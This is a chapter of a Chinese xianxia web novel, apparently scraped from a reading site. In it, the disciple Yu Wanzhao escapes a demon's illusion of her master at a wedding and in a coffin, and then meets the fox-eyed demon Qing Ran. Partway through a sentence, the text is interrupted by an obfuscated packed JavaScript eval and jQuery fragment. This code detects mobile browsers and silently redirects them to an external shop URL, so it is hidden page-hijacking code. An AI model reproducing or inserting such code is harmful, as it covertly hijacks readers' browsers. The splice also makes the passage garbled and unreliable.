郁晚昭原本是打算游历遍南颖后就回宗的,却意外发现了一只魔。
那魔修为与她不相上下,她本不欲张理,回宗后报予师祖,可对方却纠缠不休。
奇怪的是,那魔既不伤她,也不作恶,只是跟着她说一些莫名其妙的话。
直到对方说起白榆大劫将至时,郁晚昭面上终于有了松动,询问对方为何这样说。
那魔却是桀桀一笑,遁走了。郁晚昭毫不迟疑地追了上去,这一逃一追就是半月。
待郁晚昭反应过来,自己已经进了一处奇诡的空间。
原本高耸的山崖绿林,转瞬化作一片混沌,那魔的气息也消失殆尽。
郁晚昭召出师尊送她的剑——惊风,警觉地观望四周。灵识铺开后,竟查不到这处空间的边际,郁晚昭暗道不好。
对方肯定是用了上等灵器,造出这一方空间诱使自己钻入。
自下山来的种种险遇,郁晚昭都游刃有余地化解。除了那些同为修士的鬼蜮伎俩,她需要颇费一番心思敷衍外,郁晚昭自认自己已经极为谨慎了。
可遇上师尊的事,她就乱了方寸。
对于魔的话,郁晚昭自不会轻易相信。可随着她修为的增强,她发现师尊身上似乎有难以疗愈的伤,且不是一朝一夕了。
郁晚昭深谙师尊的性子,自己若是问,她也不会告诉自己,便装作不知。下山历练的这几月,也收集了不少珍奇丹药,准备带回给师尊。
谁知遇上这样一个诡异的魔,且对方话里话外透露出知晓师尊受伤的原因,这让郁晚昭不得不在意。
她被困在这里,不知过去多久了,预想中的攻击却迟迟未来,郁晚昭仍不敢掉以轻心,手握惊风,严阵以待。
忽而一阵异香飘来,眼前的场景骤然变幻,化作了一间房室。郁晚昭身处其间,眼前红色绫罗绸缎遍布,朱红纱条影影绰绰垂落在内。
郁晚昭站在原地,长眉微蹙,无风自动的红纱掀起一角,薄如蝉翼的纱绫后,似有两个身着红衣的女子相对而坐。
室内暗香浮动,红烛轻晃,带着香甜的奇香愈加浓郁,郁晚昭早在这香初现时便屏了呼吸。
她脚下分明未动,里边隔着无数红绸的绰约人影却愈发向她靠近。郁晚昭脚尖微移,手中惊风蓄势待发。
两条纱绸忽而无端朝外,似被风扬起,两名女子的容貌骤然出现在郁晚昭眼前。
郁晚昭握剑的手陡然一松,漆黑的瞳孔倏而放大,连自己还在屏气敛息也忘了。
空气中弥漫的香甜气息扑鼻而来,郁晚昭却没有心思去抵抗,眼光灼灼地盯着正前方的女子。
女子红衣如枫,头上没有一丝装饰,却难掩其风华。
本就似玉剔透的肌肤,在红衣的衬映下更为光可鉴人。平时不施粉黛的人,只唇间以口脂加覆,就已经让郁晚昭心中灼热一片,喉间微滚。
郁晚昭目光不自觉向上移去,本是常年寒潭清波不会轻易泛起涟漪的眼眸,此刻正眼波流转含情脉脉地同对面女子相视而笑。
手中的剑再次握紧,郁晚昭只觉喉中干渴无比,她从未见过这样的师尊,摄人心魄般地将她迷去。
而与之交臂换盏的另一位,居然是自己!
郁晚昭剑锋指地,忍不住向前走近,伸手将落回原处的红绸掀开,却在即将碰触的刹那,室内人影尽数消散。
她还未来得及从方才的美梦中回神,眼前景象又变幻了。
与方才相差不大,只是喜庆的室内变作了高堂。
堂前喜字高悬,双烛长燃,案桌上放置着地豆、胡桃一类堆叠成峰。
明明满是吉庆的大红,郁晚昭却觉得与方才所见场景所去甚远,反而透露出一股悲凄。
高堂既备,新人又在何处?
郁晚昭忽而转身,原本空无一人的吉堂,不知何时在她身后多了两人。
站着那人双手被缚在身后,嘴里被塞着红布,一身婚服,眼中情绪却恹恹,似是心如死灰。
郁晚昭如同照镜般同眼前人对视,不明白自己为什么会因为眼前的场景而感到心悸。
受先前场景的影响,郁晚昭下意识去找另一个自己身边的人,其实也不必去找。
在转身的刹那,一人一棺,极其显眼,只是她刻意忽视那棺中之人。
满堂花红之中,玄色方棺静静立在那里,郁晚昭不必转眼,只需要一点余光便能看清。
她缓缓将漆黑的眸子向左移去。
黑色棺椁中的人像睡着了一般站在棺里,华发简梳,容颜如旧,修长的十指闭合交错放置身腹。
同样的红衣,同样的涂抹了口脂,却不见其中之人流光异彩的双眼。
惨白的脸和她身后的玄色长棺无不昭示着此中之人已去多时。
郁晚昭心痛如绞,双眼顿时染上了红,脚步不稳,暗哑出声:“师…师尊…?”
她一个踉跄跨步到棺前,颤抖着伸出手要抚上女子的脸颊,却又在即将触及之时,骤然握掌成拳,收回了手。
师尊明明在不名峰,怎么可能出现在这?又怎么可能和她……
郁晚昭打断脑中的不可方思,心底默念清心诀,睁开双眼,眼前场景却没有丝毫变化。
棺里的师尊和另一个自己仍然在她面前。
郁晚昭背后起了一层汗,她为何会觉得这景象好似是自己的亲身经历。
即便是幻术,也不会有这样的真实感。郁晚昭抛却心底对这一幕场景生起的异样,转而打量起四周,琢磨破解之法。
幻术的功法早在两年前就开始了,郁晚昭初始也对它好奇不已,心生向学之意,可师尊却对此无动于衷,还劝阻她向学的心思。
那时她对师尊说,幻术的兴起,仙门百家都会习练,倘若以后比试对上,不说制敌,总要了解如何破解。
师尊却只是淡然地坐在书案前临摹书法,眼皮都未撩起一下,直至写满一纸,才搁笔抬首道:“世间功法何止万千,若是只图广泛而不精,知晓再多也无用。”郁晚昭想再言,她又继续道,“至于幻术,究其根本,唯心一字。心有诸多杂念,便极容易中招。”
“破解之法也简单,一则,清醒地让自己从幻境中‘死去’;二则,由境界高深之人自外瓦解。”
郁晚昭耳边回响起白榆的教语,她被困在此,无人知晓,不可能坐等别人破界。
她拿起手中惊风,雪白的剑身映照出一双如墨的双眸。
下一刻,惊风剑便横截在颈侧,郁晚昭最后看了一眼师尊,闭上双眼,手背绷直就要动手,一道龟裂的声音自耳边响起。
她瞬时睁眼,周边的人和物悉数如烟云散去,混沌的空间轰然碎裂,化作无数碎片往下坠落。
郁晚昭还未从这突变中缓过神,下落的幻界碎片缝隙之后,一名素衣淡雅的女子出现在她眼前。
女子初看宛若哪家的大家闺秀,一派娴静端雅,直到郁晚昭看见那双潋滟如秋水的狐狸眼和额间印记,手中的剑立刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701602|203416||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
调转方向,剑尖斜指侧前方,细细打量起眼前来人。
来人穿着似是哪方散修,那双眸子却显得妩媚多情,偏偏着一身素雅的青衣,如不是郁晚昭看清她额间隐隐泛出魔气的印记,都未反应过来眼前的人是魔。
郁晚昭对魔向来敏锐,但眼前的魔并不是先前那只,她的修为比之前将她困在幻境里的魔高出不止一个境界。
且就眼前看来,怕是这魔将自己救了出来。虽说她救了自己,但又何尝不会是另有所图。
她的实力与对方悬殊,只能见机行事,郁晚昭另一只手已经将师尊给她的追风符握在手中了,随时准备念决遁走。
横亘在一人一魔间的幻界碎片已经全部坠落消散,在郁晚昭打量卿冉的时候,卿冉也在打量她。
她唇边勾起一抹笑意,眼中不甚在意道:“你就是白榆新收的那名弟子?”
郁晚昭眼中闪过一丝诧异,师尊的尊名遍誉南颖,身为她的徒弟自然也受诸多关注,她不奇怪对方知晓自己身份。她感到诧异的是,对方提起师尊时那无比熟稔的语气,像是提起阔别已久的朋友。
且更让她为之奇怪的是,对方那双狐狸眼中的无意。
自她是纯灵之体的事情人尽皆知后,无数眼光跟随着她,有忮忌、算计、愤恨、仰慕,却独独没有对方此刻眼中的那种不以为意。
郁晚昭不禁怀疑起来,眼前的女人真的是魔吗?
“在想什么呢?”卿冉一个闪身来到近前,引得郁晚昭手中动作一顿,来自高境界的威压慑住她的灵力,身体动弹不了分毫。“若不是我,你此刻便已经没命了,你师尊就是这样教你的?”
她啧啧两声,撤回威压,抬手摸住下颔,拇指摩挲,眼带笑意,饶有兴致地近距离打量起郁晚昭。
郁晚昭以为她要对自己下手了,却不想对方只是戏玩而已。明明是魔,提起师尊时却如此自然,郁晚昭有些好奇她和师尊的关系。
“前辈和师尊相熟?”
卿冉对她喊自己的称呼很是意外,收起慵懒的姿态,笑道:“我以为以你的经历,对魔应当是猜疑厌恨才是。”她说到一半,想到了什么,又转了话头道,“也是,毕竟是白榆教出来的。”
郁晚昭这下可以肯定,对方和师尊相熟,且相识已久。
她将惊风收回剑鞘,握在手里的追风符也不似先前那么紧攥,回言道:“前辈眼里没有任何图谋的欲望。师尊曾说过,天生万物,不能以类为别,不为非做恶的,即便是魔,也有生存的权利。”
卿冉轻笑一声:“说得好。”
可旋即,她唇边的笑意又逐渐消失了,若是所有人都如白榆和眼前这小姑娘一样,这修仙界又怎会不安宁呢?
她拿出一柄黑扇,赠给郁晚昭道:“你很好,初次见面,这东西便送你了。只是方才的话,见了别人便不要再说了,会给你师尊带来麻烦。”
郁晚昭懵懂接过通体漆黑的扇子,想问一句她和师尊是何时认识的,对方却转身摆了摆手,消失在原地。
“你既然历练完了,便早日回宸虚宫吧,那只魔的事,我来处理。”
女子身影已经隐没,徒留风中传来的这一句极似长辈的叮嘱。
郁晚昭收回远眺的目光,将玄扇放入芥子空间,脚下浮云受力,顿时浮散,人已不见踪迹。
一名中年修士模样的男子,自不远处的山崖上的一方巨石后探身出来,看向郁晚昭离去的方向目色沉沉,唇角浮出一个奸邪的笑。